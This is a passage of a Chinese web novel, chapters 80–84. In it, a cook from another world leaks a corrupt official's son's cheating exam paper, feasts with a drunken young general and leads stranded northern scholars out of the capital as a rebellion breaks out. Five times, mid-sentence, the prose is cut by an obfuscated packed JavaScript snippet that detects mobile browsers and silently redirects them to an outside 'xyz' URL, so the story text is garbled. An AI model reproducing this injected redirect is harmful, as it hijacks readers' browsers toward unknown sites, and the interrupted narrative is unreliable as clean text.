一排排高大的书架在光影中渐次明晰，上面摆满了琳琅满目的典籍。有厚重古朴的史家著作，亦有装帧精美的诗词文集。 其中最为重要的，恐怕就是朝堂存档的要件了。 起居注详细记载了圣上的日常言行，诏令与奏章则如实地反映了本朝重大事件。 桂枝儿直奔摆放最醒目的科考试卷而去。 天子要查舞弊案，皇城司公察兢兢业业，多次出入藏书阁将春闱卷子分门别类归纳好。 恰好方便了她翻阅。 诗赋、策论、经义几科中，多位受到特殊照顾的换卷学子，其手写原卷与誊录后更改姓名的卷子摆在一起。 反差明显。 “考生裴明睿，字子德，祖籍……”桂枝儿眯了眯眼。 大理寺正裴家幼子——是这份没错吧？ 卷面上仍有咸鲞洇出的油渍，灰黄色的斑点十分丑陋，似乎还散发着若有若无的腐臭气息。 “卷如其人，难看。” 桂枝儿下了定论，用手嫌弃地拈起卷子一角。 “系统，就是这张。”她在脑海中召唤。 “你确定要把贡献点浪费在主线任务以外吗？”系统的机械音平淡冷漠。 “三个贡献点彩印一千张，也不是很贵吧。” 桂枝儿耸了耸肩，眼神慵懒中透着不羁，全然没有反悔的意思。 可大理寺正裴家逃单十两银子，也不多啊！ 冒着倾盆大雨夜闯皇城，穿宫殿、避禁军，就为将这张舞弊卷公之于众。 宿主也太记仇了。 系统难以理解。 80. 梨花白酒 雨停，水珠褪去狰狞，顺着檐瓦滴滴答答，节奏渐缓。 桂枝儿揣在身上的剔骨刀没有丝毫用武之地。 二人循着旧路离开皇宫，一路顺遂，丑时已回到卤味店。 “小将军为何一言不发。”眼看恶作剧得逞，桂枝儿心情颇为愉悦。 栾霜柏没有应声，嘴唇紧抿成一条线。 被雨水浸透的夜行衣，勾勒出少年宽窄合宜的身量。 只是几缕湿发贴在他冷峻的面庞上，衬得双眸格外深邃忧郁。 莫名有些可怜。 “姑娘，店里有酒吗？”半响，栾霜柏问了第一句话。 “有在隔壁酒坊打的梨花白。”桂枝儿向屋内探头看了看，“两个小孩儿都睡了，去后院吃点烤肉吧。” 她盛情邀请道。 搬来三足鼎式烤炉和小铜锅，置放炭火。 桂枝儿将火星引向艾绒，猛烈燃烧，炭体随即变得火红。 炽热的火焰驱散了夜晚寒意。 “先暖暖手，帮我剥点蒜。”桂枝儿不客气地给目光呆滞的栾霜柏安排任务。 还有什么比制作美食更能让人放松身心的呢？ 第一盘是用糖和生姜末腌制过的五花肉。 桂枝儿挽袖，手持长竹筷，轻巧地夹起一片五花肉，伴随“嗞啦”一声脆响，铜锅中溅起星点油花。 肉片迅速蜷缩，边缘泛起焦色。 栾霜柏吸了吸鼻子，回过神来。 眼前的五花肉厚薄均匀、纹理分明。 糖渍受热融化，在表层凝出一层晶亮，宛如琥珀。生姜的香气被彻底激发，渗进肉片，馥郁辛辣丝丝入扣。 “把你剥的蒜切片，加上青椒圈和烤熟的肉。”桂枝儿一边说一边示范，“用生菜叶包裹着吃。” 菜叶新鲜碧绿，带着几滴露水。 少女双手灵动飞舞，将其合拢，变成一个精巧的翠包。 裹好的美食递到嘴边，栾霜柏愣愣地张开嘴。 一口咬下去，生菜的脆爽、肉的焦香、姜的辛辣一并融化，甜滋滋的糖味儿仿佛进了心底。 “我、我自己来，不劳烦姑娘！” 栾霜柏这才回过神，脸颊泛起两片红晕。好在夜色浓稠，他的羞怯并不明显。 第二盘是涂抹了胡椒、海盐和花生油的牛肉。 配上隔壁酒坊打的酒，栾小将军胃口大开，将郁闷情绪深埋心底。 梨花白取的是春日初绽梨花入酒，色泽清透。 “这酒后劲儿大，悠着点。”桂枝儿好意提醒了一句。 她自己则是滴酒未沾。 “不妨事。”栾霜柏抬手，握住酒壶。 江湖恩怨、刀光剑影，最应当配烈酒，而这梨花白入喉软绵、滋味百转，恰似朝堂博弈。 他宁愿在边境厮杀，也不想回京城绕这九曲十八弯。 “栾某祖辈曾立大功，那是永靖年间的事。”借着酒劲，少年打开了话匣子。 “面对高官厚禄，幸赖先祖贤明，秘密将家族分为两脉。” 明面上的后代，是改国姓的经略大将军子孙。 人皆心怀赤诚，凭着一腔热血保家卫国，以报君恩。 而另一脉，则暗中保留家族本姓。 用先皇赠与的一半国库财宝，成立了汇通钱庄。兵马未动粮草先行，先祖颇具远见卓识。 “结果明面上的族裔，屡遭不顺，最终宗脉断嗣。”栾霜柏擎杯，仰首一饮而尽，酒水入喉眼前落英缤纷。 他坐姿板正，心潮翻涌难平。 桂枝儿将皮黄骨红的三黄鸡块倒入锅中，肉质滑嫩，用根根晶莹的豆芽作为配菜，连续翻炒。 后厨还蒸上了颗粒分明的香米饭。 最后浇点辣汁，她能吃三碗。 小将军明显有些喝醉了，原本藏着掖着的话都在往外冒。 “这就叫，不怕贼偷，就怕贼惦记。” 桂枝儿向锅中敲入一枚荷包蛋，溏心的蛋黄颤颤巍巍。 “若我猜得没错，梁大将军在抗击湘西马匪时战死，也是被天子设局了吧？” 功高震主其罪一。 家财万贯不上缴其罪二。 只是圣上害死他后， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14774113|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 依旧没有搜刮出一半国库财宝。 人算不如天算，这些钱从始至终都是“栾”家的。 “嗯。”栾霜柏双颊酡红如霞，添了几分憨态。他双眸半阖，神态有些茫然，似迷途羔羊。 还“嗯”。 这少年，喝醉了被别人卖掉恐怕都不知道。 桂枝儿验证了自己的猜测，栾霜柏既查出亲族死因，恐怕必不会再愚忠朝廷了。 他若要拥立新帝，自然会倒戈樾王。 “差点忘了，大梁另一半的秘库财宝，全靠樾王的天子印调动啊。”桂枝儿倒吸一口凉气。 小小北境，果真卧虎藏龙。 这么看来，当今天子撑不住局面也正常。 拢共就这点银子，很难办事啊。 桂枝儿把自己逗笑了。 “姑娘，我也想吃这个。”栾霜柏像只小狗般嗅嗅闻闻，亮晶晶的眼神盯紧锅里的辣豆芽炒鸡肉饭。 他冷峻的剑眉微微蹙着，似乎在纠结是吃饭还是睡觉。 倒有几分可爱。 “姑娘适才说到樾王，对，樾王许诺过……” “嘎吱”通往后院的门扉开启瞬间，冷风倒灌。 起夜的小丫头身着素白亵衣，发丝凌乱，正迷迷糊糊地推开门，准备穿过院子去茅房。 热气腾腾的饭香与烤肉味弥漫。 她不可置信地揉了揉眼睛，见到桂小娘子越过烤炉，正在弯腰亲吻一位英俊少年。 小丫头惊讶地张大了嘴。 小丫头很有眼力见，飞快转身关门，回到屋内了。 小娘子一定在跟情郎幽会。 不能打搅。 梨花白的酒初碰凉意沁人。 继而轻触，细腻的酒液逐渐在舌尖散开，一股醇厚绵柔之感迅速蔓延。 丝丝缕缕的甘甜浮现，宛如枝头初熟的梨子，咬上一口，汁水丰盈。 酒还挺香，怪不得会醉人。 “小孩子在场不要说醉话。”桂枝儿起身，嘴角微微上扬逗弄道，“被听见就不好了。” 阴谋诡计是大人之间的事。 81. 恶仆丧命 东方既白，亲王府后花园的池塘里，春荷叶片小巧玲珑地贴伏着水面，其上水珠滚落，发出“叮咚”轻响。 被罚跪于此的男子，整夜未挪动分毫。 他高瘦如竹竿的身形弯折，双腿自膝以下早已麻木，失去知觉。 面容和蔼的爵爷用过早点，逗弄几下画眉鸟，再慢悠悠地踱步到奇楠沉香木摇椅前，缓缓坐下。 “爵爷，属下办事不力，求您再给个机会。”鹰钩鼻男子声音沙哑急切，额头冷汗直冒。 明明选的都是勤奋肯学但名气不大的举子。 不知为何，北境的瘸子时来运转，竟然被大人物关注到了。 年过半百的爵爷身姿后仰，靠在上等的丝绸缝制的软垫上，半眯着眼睛，叹了口气。 “你这恶仆，打着本王的旗号招摇撞骗。”爵爷惋惜地摇摇头，“科举舞弊是重罪，圣上追究，本王也保不了你。” 鹰钩鼻男子整个人瞬间僵住。 他本就苍白的脸色“唰”地一下，愈发惨白，双唇也不受控制地哆嗦起来。 他眼中满是恐惧，手指无意识地痉挛着。 爵爷这是要推他出去当替死鬼！ 他完了！ “主子，主子您就看在小的前两届办事还算尽心的份上……”话一出口，错上加错。 爵爷猛然睁开双眼，刹那间，原本慈祥的面庞寒意迸射。 似深冬蛰伏的猛兽终于露出森冷利齿。 “汝之家眷，本王会悉心照料，汝可安心就戮。” 爵爷把玩着手中的玉扳指，眼神冰冷彻骨，仿若在看一只蝼蚁。他抬手轻挥，如同掸去衣角微尘。 鹰钩鼻男子彻底瘫软在地。 圣上未必不知幕后主使，彼此各予阶陛，以全颜面罢了。 毕竟，天子的皇位得来的不够光彩。 他能助弑兄杀侄的人登基，也能讲出真相，让其灰溜溜下台。 “更衣，本王要进宫面圣。”，爵爷的叹息声在风中飘散，“又变天了……” 连雨不知春去，一晴方觉夏深，爵爷进宫，让礼部贡院南墙的放榜遥遥无期。 围观考生仿若海水退潮，一波一波地散去。 到最后，只余下零散几个执着的人，依旧顶着烈日伫立。 随着变钞一策推行，“承朔宝钞”被大量印制，直接导致了空前严重的通货膨胀。 连长兴坊的菜饼子，都从三个铜板涨到了五个铜板。 客栈住宿更是不必多提。 “田学兄，愚弟当返燕平。”支付不起高昂住宿费的书生不得不与友人告别，踏上归途。 书生们神色落寞，却在离别之际强撑出几分洒脱。 “若有佳音至，勿忘尺素传吾。” 朝廷只贴了告示，道本届春闱结果会延迟公布，却未说，是要重新组织阅卷，抑或二次科举。 但杭京米贵，他们等不起了。 面对困难，桂记卤味店偷偷开了小灶。 “穷家富路，镇北考生凡囊中羞涩者，只管来店里吃饭。”桂枝儿放出话来，“大鱼大肉没有，饱腹没问题。” 两位小学徒初习膳事，技艺未精，所成餐食略有差池。 正好可以用来投喂穷困的考生。 马尾辫女孩持刀，手微微颤抖。 刀刃切入肉块，发出“嘎吱”轻响，肉丝宽窄不一，粗的地方堪比小木棍，细的却如发丝。 她克服内心惶恐，笨拙地将肉丝堆于案板。 豆芽菜男孩有经验，调配鱼香汁不至于手忙脚乱。 他舀起一勺醋倾入碗中，醋液“哗”地溅起几滴，酸味弥漫。紧接着再倒入些许酱油，用量还算精准。 就是每完成一步，他便会不自觉地抬头，望向桂小娘子。 作为师傅的桂枝儿，见二人焦头烂额，却并不干预。 她一头乌发简单地挽了个髻，慵懒随性地站在身旁，露出一抹促狭的笑容。 吃一堑，长一智，想成为合格的庖厨，都要经历试错阶段。 更何况，这些瑕疵菜品自有去处。 “今日的鱼香肉丝忘了先炒泡椒提香。”豆芽菜男孩端出盘子，“肉丝软塌，配菜不够爽口。” 他小脸涨得通红，窘迫地表达歉意。 “小娘子说俺做的炒土豆丝像土豆条。”马尾辫女孩儿咬了咬唇，扭捏道，“刀工实在太差了。” “哪里哪里，香得很！” 饿急了的北境学子狼吞虎咽，纷纷不吝夸奖。 多亏桂小娘子大方，让他们时不时就能吃到酸了点的锅包肉、糊了点的京酱肉丝、苦了点的炒豆角…… 他们不顾平日里的斯文，喉结上下滚动，腮帮子鼓鼓囊囊。 只为填饱那饥肠辘辘的肚腹。 囫囵了个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14783419|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半饱后，有凌河县举子压低声音，向同乡好友嘀咕道：“你见过那卷子了吗？” “我见过。”同乡书生忙不迭地咽下口中食物应道。 “我也见过。”来自中心府城的书生凑近。 三人神神秘秘地讨论一番，眉头紧锁，眼中逐渐充斥怒火。 本届春闱结果虽未公布，但不知何故，大理寺正裴家小儿的试卷竟被泄露了出来。 一张卷子在槐花树枝桠间，随着微风轻轻晃动。 另一张卷子在码头岸边，被踩了一个大大的脚印。 集市上、茶馆里，人们隔三差五，便能在墙头马上捡到裴家小儿印有咸鲞油渍的卷子。 “无论那裴明睿有无名次，他写出这样空洞乏味的文章，何以得中举人焉？” “连最基础的经义都背错了，绝对有猫腻！” 历来文无第一武无第二，但大家评判议论后，却达成空前一致。 这裴家小儿，定是靠舞弊中举的草包！ 十载寒窗，比不过贵人弄权、富人谋私。 书生们怀揣满腔热血，还未踏入仕途就撞上了现实的暗礁，激起不甘的浪花。 寒门再难出贵子，他们该何去何从？ “人心散了，队伍就不好带。”晚上算账时，桂枝儿拨弄算盘珠子噼里啪啦作响，“钱也不值钱了。” 她嫌弃地将承朔宝钞挑拣出来，扔到一边。 凭借出色厨艺，桂记卤味店的生意热度不减，但桂枝儿早已看出背后潜藏着的危机。 “倘若我有朝一日离京，你二人可愿随行？” 她未雨绸缪地问道。 话音落地，豆芽菜男孩手中擦拭桌面的动作猛地一顿。他抬起头，眼眸中满是惊讶，却并不犹豫。 “我跟小娘子走。”少年声音坚定。 翠园楼大师傅去世后，他便孤身一人，对杭京毫无留恋。 “俺也愿意。”马尾辫女孩不甘落后，脆生生应道。 村里的田间岁收入不敷出，赋税徭役又重压肩头，她每月送回家的工钱帮了大忙，自然想追随桂小娘子。 “小娘子待俺不薄，况且，在灶台前做饭可太有意思咧！” 大梁帝国像一堵朽墙，只要再踢一脚，就会轰然倒塌。 桂枝儿猜对了形势变化，却猜错了具体事由。 初夏蝉鸣声渐起，惊天巨变骤然降临。 82. 北境来信 桂记卤味店门口支起几张木桌。 桌上的青花瓷碗内，盛着细碎的冰碴与西瓜、乌梅，再点缀几片薄荷叶，清新感扑面而来。 冰饮限量供应，在灼灼烈日下，很快融化为冰浆。 天气说热就热，在后厨待不了多久便大汗淋漓。 桂枝儿抿了一口冰饮，摇着麦草扇解暑。 收到春和景明客栈来信时，她并未在意。依旧是熟悉的素纸信封，红火漆印。 她漫不经心地揭开封口。 想着无非也就是一些北境近况，与中心府城的家长里短。 离乡小半年，樾王那清瘦的面目已经模糊。 桂枝儿回信的次数，也越来越少。 “边防北境第三军统领蔡淼通敌叛国，引狼入室，权摄镇北经略大将军德顺公公主张割地求和。 今黎庶同仇敌忾，不堪苛政久矣。 镇北府，宣告独立。” 反了反了，倒反天罡！ 桂枝儿瞪大了眼眸，将这段话来回看了三遍。 试图从樾王那断金割玉般的凌厉字迹里，看破他内心所图。 “我……”一句粗俗之语涌至唇边，她轻咬下唇，硬生生将它拦截。 “姓蔡的不是好东西倒也罢了，区区一个太监，是有卖国求荣的胆子，还是有割地求和的权利？” 她嗤笑一声，将信件扔还给驼衣侍从。 樾王这些冠冕堂皇的话语，也就能糊弄糊弄百姓，让造反更加师出有名。 哦不对，不是造反，是将篡位者赶下台。 多么名正言顺。 早在系统预警她，茶水中被下了曼陀花散的时候，她就知道，此人看似温文尔雅，实则为达目的不择手段。 驼衣侍从默不作声。 桂枝儿脸色紧绷，细密的睫毛随着呼吸扇动，如同蝶翼扑闪，却扇不散周身的恼火之气。 她完全可以想象到。 褪去伪装的樾王，举止从容不迫，眉宇间透露出一股书卷气，面容温润似雪。 他眉眼低垂，怜悯地向世人宣告—— “我本无意逐鹿，奈何苍生苦楚。” 他一声轻叹，身姿挺拔，那股悠然姿态似风拂翠竹，微微摇曳却又风骨铮铮。 足以迷惑不明真相的百姓。 带他们杀达奴、建城墙、改赋税的，是爱民如子知府大人。 也是大梁原本正统的继承者！ 清野州的洪水决提尚未冲破京城，涉及科举舞弊案书生们，即便内心义愤填膺，也顾虑颇多。 恰在此时，蛰伏许久的樾王，终于露出凶狠的獠牙。 对内忧外患的大梁发动致命一击。 店门“吱呀”一声被猛然推开，一道英挺的身影携带着夏日洒落的阳光大步跨了进来。 栾小将军身着一袭藏青色的软甲，甲片上的暗纹若隐若现。 他剑眉星目，深邃的眼眸在踏入店的一瞬间，便似猎鹰扫视猎物般，直逼驼衣侍从。 “信已送我，何必再打扰桂姑娘。”栾霜柏语气平淡沉稳，却自有一股威严。 枪上红缨随着他的动作轻晃，衬得人英姿飒爽。 “将军恕罪，卑职不过奉令行事。”驼衣侍从弯腰行礼。 两封信，一封赌少年将军倒戈，舍驸马之位，归北戍边。 另一封，赌桂小娘子不忍心看自己亲手带到京城的书生们，因圣上猜忌，命丧于此。 樾王似乎端坐于楠木抱鼓墩书案前，于素笺上挥毫泼墨，面含笑意。 周公吐哺，天下归心。 “他倒是会算计。”桂枝儿不满地嘟囔了一句，继而抬眸打量栾霜柏，“小将军准备好回去了？” “凌河防线不能破，国土不能丢。”栾小将军点了点头。 软甲贴合着少年那劲瘦却充满爆发力的身躯，勾勒出宽阔的双肩。 他双眸清澈，透着果敢与赤诚。 唯有在和桂枝儿对视时，嘴角轻轻上扬，露出一个近乎腼腆羞涩的笑容。 完全看不出，他是否还有上次宿醉后的记忆。 桂记卤味店的门扉横木上，悄然悬出一方质朴的“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794456|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 歇夏”木牌。 留给众人安全撤离的并时间不多。 镇北揭竿而起的消息一旦传到京城，睚眦必报的朝廷定会先拿滞留在京的学子们开刀。 “欲全性命，速返北境！” 桂枝儿斩钉截铁地宣告。 她已换回木犀先生的装扮，五官粗犷，脸上胡茬丛生，透着些沧桑，眼眸却炯炯有神。 说话间，右手不自觉地握住剔骨刀刀柄，轻轻摩挲。 她扫视全场，大拇指轻轻挑开刀鞘，露出半截寒光闪闪的刀身。 警告与震慑之意不言自明。 难保没有读书读傻了的蠢货，会通过告密之举，保全自身。 在她没有离京前，休想作死。 一时间，桂记卤味店整个后院包厢内万籁俱寂，唯有烛火的噼啪声和书生们粗重的呼吸声交错。 “怎会如此……”举子被骇人的消息击中，不知所措。 他们抱着科举入仕的想法，满怀炽热进京，可现下春闱榜单未出，京城已无立足之地。 祖上累世皆为良民，怎么就和造反扯上了关系？ 鼻翼急速扇动，胸膛此起彼伏。 众人慌乱无措地愣在原地，脸上表情或惊、或怒、或疑、或悲，各怀心事。 反倒不纠结桂小娘子为何与木犀先生是同一人了。 “先生，我们都是小孩子，遭此大事，方寸已乱。”王蒲拄拐，率先坚定地站出来，“还望您护我等周全。” 他头戴方巾，行礼作揖时，衣袂齐整、发鬓有序。 愈发衬出面容的清俊与庄重。 很明显，他同意桂枝儿的论断。 镇北考生如今滞留京邑，等候消息的者，不足五十人。若弗行，便是引颈待戮。 “汝凭何担保消息确凿无误？”并未跟随过木犀先生进京的考生，质疑道。 他的声音因激动而有些颤抖，震得窗棂微微作响。 一个庖厨小娘子，有什么渠道提前知晓军机秘事？ 还换了一身男子打扮，莫不是在消遣他们！ 83. 食材短缺 “事关身家性命，宁可信其有。”王蒲厉声打断，“况且我等亲族皆在家乡，唇齿相依的道理你还不懂吗？” 他手中竹杖重重一顿，“砰”的一声震住了所有人。 原本温润的面庞此刻冷峻如霜，他目光如炬，字字如利箭般穿透嘈杂声音，直抵众人心底。 一荣俱荣，一损俱损。 王蒲拎得清，在关键时刻展现出了非凡的决断力。 “文景兄所言极是。”泼辣圆润的女书生向前一步，“再者说，就算朝廷不查究，咱也没啥损失呗！” 众人你一言我一语，倒省得桂枝儿再费口舌。 “客船已经联络好了，连夜出发。” 夜色浓稠，城门的孤灯散发着昏黄的光。 春夏之时昼永夜促，京郊城门延迟到亥时关闭，身着黑甲的守卫士卒们，丝毫不敢懈怠。 “汝等众人，缘何昏暮之后方出城？”守卫士卒如临大敌。 京郊围拢的难民越来越多，形势复杂。 刀盾手列阵而立，只露出一双双充满警惕的眼睛。 但在验过众人的户籍路引后，守卫便放下心来，甚至连人数都不再细查。 穷考生和监学离京嘛，见多不怪。 许是付不起客栈的住宿银两，先去郊外渔船上凑合一夜。 漕河码头，白日的喧嚣此刻已如潮水般退去，徒留一片死寂。 泊在岸边的商船，一艘挨着一艘，灯火星星点点，船身随着水波摇晃，荡出有节奏的“嘎吱”声。 几位值守的船夫收拾好绳索、船桨。 个别书生双手不自觉地在衣袍袖口处反复摩挲，手心早已沁出层层汗珠。 “伲快点哉，再弗上船就要开啦！”船夫压着嗓子喊了一句。 书生们像是被惊醒一般，身体微微一颤。 豆芽菜少年将刀具、锅铲等背在身后，一只手紧紧抓住船舷绳索，前脚用力一蹬，便稳稳地踏上了船。 “来，我拉你。”他转身，伸手向马尾辫女孩喊道。 有了小孩子做榜样，剩余的书生们深吸一口气，相互对视一眼，不再惧怕。 早已出城候在船上的栾霜柏，越过纷杂人群，看向桂枝儿。 晚风轻柔地拂过，撩动着少女的发梢。 她易容后的身影融入漆黑夜色中，微微仰头，目光正望向那漫天繁星。 面具下的神情淡漠，似乎有些事不关己。 放弃名声正盛的卤味店，没有丝毫惋惜。面对未知的旅途，亦不见恐慌。 “若心无所系，何必行君子善举？”栾霜柏呢喃了一句，在他深邃的眸中，闪过一丝不易察觉的温柔。 进京行船是顺流而下，返程则是逆行。 船夫解开系在岸边木桩上的粗壮缆绳，升起风帆，船桨划破水面，发出“哗哗”声响。 搅乱了河中一轮皎洁的月影。 桂枝儿见到指挥行船者时，饶有趣味地笑了。 船把头一身粗布短衫，脚蹬麻鞋，身形魁梧。竹篾与棕叶制成的斗笠盖住半张脸，却十分眼熟。 尤其是拉绳的那双手，粗糙有力，掌纹深刻。 “久未谋面，别来无恙。”桂枝儿迈着轻盈的步伐，笑嘻嘻走近问道，“您早就料到我会回北境？” 能让楚淮船把头亲自来接，她倍感荣幸。 恐怕这也是樾王计划中的一环。 “女侠不必猜疑。”船把头依旧言语木讷。 他双臂肌肉紧绷，如蛟龙蛰伏，将船舵猛地向右一扳，船舷与江水激烈摩擦，拐入正确的船道。 见桂枝儿没有回话，他微微皱眉，稍作思考后做出简短的解释。 “无论去留，主上都做了两手准备，护女侠周全。”船把头忠厚寡言，实事求是。 “呦，那我可得拜谢越王殿下。”桂枝儿眼眸略抬，露出一小片眼白，显出几分俏皮的嗔怒。 转身径直回船舱歇息去了。 “不识好人心。”船把头再一次呆愣原地，愤愤地嘟囔道。 主上想拉拢的人，真是难办。 客船在经过几夜疾行后，黎明的微光悄然划破夜空。 站在船头，但见远方泛起一抹淡淡的红晕，逐渐变浓，染出绮丽的色彩。 桂枝儿早已习惯四海为家，惬意地伸了个懒腰。 随着太阳缓缓升起，桅杆、船帆、甲板都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14815225|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被镀上了一层金色，闪耀着温暖的光辉。 “三、二、一，放！”有经验的水手船夫吆喝一声，将渔网高高抛起。 渔网在空中划过一道优美的弧线，落入水中。 随着渔船缓缓前行，渔网在水中拖动，将鱼、虾等食物收入囊中。 为避开朝廷耳目，船把头规划的路线僻静偏远，沿途自然少了资源补给。 “小神厨，今日又吃炖鱼吗？”书生们闻到熟悉的鱼腥味，摸了摸下巴。 倒不是豆芽菜少年的厨艺不好，只是这鱼汤再鲜美，一天连着喝三顿，也会腻歪。 书生们感觉自己都快长出鱼鳞了。 “哎呀对不住，实在寻摸不到啥能吃的。”少年的脸涨得通红，收回扒拉渔网的双手，局促地在身前绞着。 桂枝儿见状，几步跨到小学徒身边，豪迈地拍了拍他的脑袋壳。 “歇着吧，今天师傅下厨。” 话音刚落，半个船上的视线都向她汇聚，齐刷刷地露出期待之色。 “难道姑娘还能变出什么新鲜玩意不成？”栾小将军放松了持续紧绷的神经，调侃道。 他的脸受江风吹拂，隐约有变成小麦色的迹象。 是连日在船头瞭望观察敌情所致。 “不是我。”桂枝儿摆摆手，又指了指栾霜柏，“是我们。” 她眉眼弯弯，似盛了蜜一般。 顺着她的目光，栾霜柏看到江边浅滩有几户零散人家。 青瓦泥墙，屋舍质朴。 门前，有毛色各异的鸭子正在浅滩追逐嬉戏，有的曲颈梳理羽毛，有的振翅扑腾，“嘎嘎”直叫唤。 水域的茭白修长嫩绿，荷叶挨挨挤挤，在风中沙沙作响。 定有莲藕隐匿于水下，凉拌清炒皆是脆爽。 搭配上香喷喷的鸭肉…… “不可。”栾霜柏狠狠摇头，努力把想法从脑海中驱逐出去，“为安全无虞，吾等不可暴露行迹。” 与江边人家买卖是行不通的。 万一朝廷随后派出暗探，岂不自投罗网。 “所以才轮到咱俩出手——”桂枝儿得意地抛了抛手中银两，“去偷点吃的嘛！” 84. 旧友登船 圣人说，非礼勿动，贫贱不能移。 圣人还说，君子不为盗，贤人不为窃。 书生们摸了摸书袋，又舔了舔嘴唇。 “圣人他可没尝过桂小娘子做的烧鸭、烤鸭、樟茶鸭。”于是众人添凑了点碎银子。 哪怕多出些银两，他们也不想再吃炖鱼了。 桂枝儿微微屈膝，双脚轻点船舷。 她身姿轻盈，如同一只振翅高飞的蝴蝶，舒展着身姿，翩然飘落至江边浅滩无人处。 栾霜柏腾空起飞，紧随其后，稳稳地落在岸边。 两个身影鬼鬼祟祟地穿梭在农舍之间。 桂枝儿变戏法一般拿出藕锹，插入淤泥中，轻轻撬动。 “噗通”几声，洁白如玉、藕节圆润饱满的莲藕被逐个挖出，散发着泥土特有的清香。 栾小将军眼睛瞪得溜圆，警惕观察四周后，蹑手蹑脚地靠近一处鸭舍。 他先抛下银两，再伸出两只手，各敏捷地掐住一只鸭脖子。 其余鸭子们瞬间慌乱起来，纷纷拥挤推搡着，嘎嘎惨叫，扑腾着翅膀四处逃窜。 “嘘，小点儿声！”桂枝儿压低声音提醒。 栾霜柏顾不上回应，一咬牙，将肥硕的鸭子紧紧抱在怀里，转身就往鸭舍外跳。 在农户主人发觉并破口大骂前，两人使出生平最快的轻功逃窜。 “升帆，加速。”船把头一声吆喝。 水手娴熟地爬上桅杆，拉扯着绳索，调整船帆角度。 船头劈开浪花，在江面上疾驰，众人咧着嘴，笑得合不拢。 肉质鲜嫩的湖鸭最适合做成盐水鸭。 那色泽白得纯粹，白得透亮，鸭皮泛着温润的光，咸香与鲜美交织。 小炒藕片质地爽脆，清甜的气息弥漫开来。 “食香四溢，诱人哉！” 桂小娘子只需略微出手，满船乘客吃到嘴角流油，恨自己抢菜的手速不够快。 连日疲惫与紧张一扫而空。 众人终于不再担忧身家性命，有闲心唠起嗑来。 “此行仓促，未与李学弟告别，可惜他尝不到如此美味。”书生打了个饱嗝，怀念起同一考场的扬安学子李觅。 他捡干净盘中最后一粒珍贵的米饭。 回味着皮肥肉嫩的盐水鸭。 “李学弟憾失良机。”有人抚掌笑道。 留在京城的遗憾太多。 王蒲放下竹杖，脑海中回想着包袱匣子里的珍贵藏书《春秋公羊传》。 因时迫甚急，未遑整理行装，只得遗留于客栈。 以及贡院南墙外，那嗑着瓜子的明媚少女。 等候春闱放榜的日子里，每多邂逅，二人便会寒暄数语。 “俺想西市卖果蔬那家的小猫哩。”马尾辫女孩也有自己的牵挂，“毛茸茸嘞，眼睛像两颗黑葡萄。” 喂它小鱼干的时候，会在脚边蹭来蹭去。 惹人怜爱。 “主人家对它特别稀罕。”豆芽菜男孩双手比划着给桂枝儿看，“门上特意为它凿了一个小洞。” 在离地半尺的位置做了个小门把手。 小猫不会开门，往往猛地向前冲去，用它那圆滚滚的小脑袋使劲往缝隙处拱。 “喵呜。”小猫得意洋洋地挤了进去。 西市卖果蔬的中年伉俪，并非京城本土人。 多年前远居城郊，村中田地遭了水灾，双双病重，为了让幼女有口饭吃，只好卖给人牙子。 “幸得好心人救济活命，如今他们回京城来做买卖，就是想找回自家孩子。”马尾辫女孩咬了咬嘴唇。 桂枝儿诧异地挑了挑眉。 “小猫……有名字吗？” “叫小柳儿，跟主人家一个姓。” 客船即将进入蠡县境内时，风云突变。 乌云如墨，沉甸甸地压向江面，夏日暴雨将原本明媚的天空遮蔽得密不透风。 天地间，仿佛被巨大的黑布骤然笼罩。 从白昼坠入黑夜只需一瞬，狂风呼啸，在江面肆意逞凶。 层叠汹涌的巨浪此起彼伏，船身时而被向上抛起，时而又重重落下，在风雨中无力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 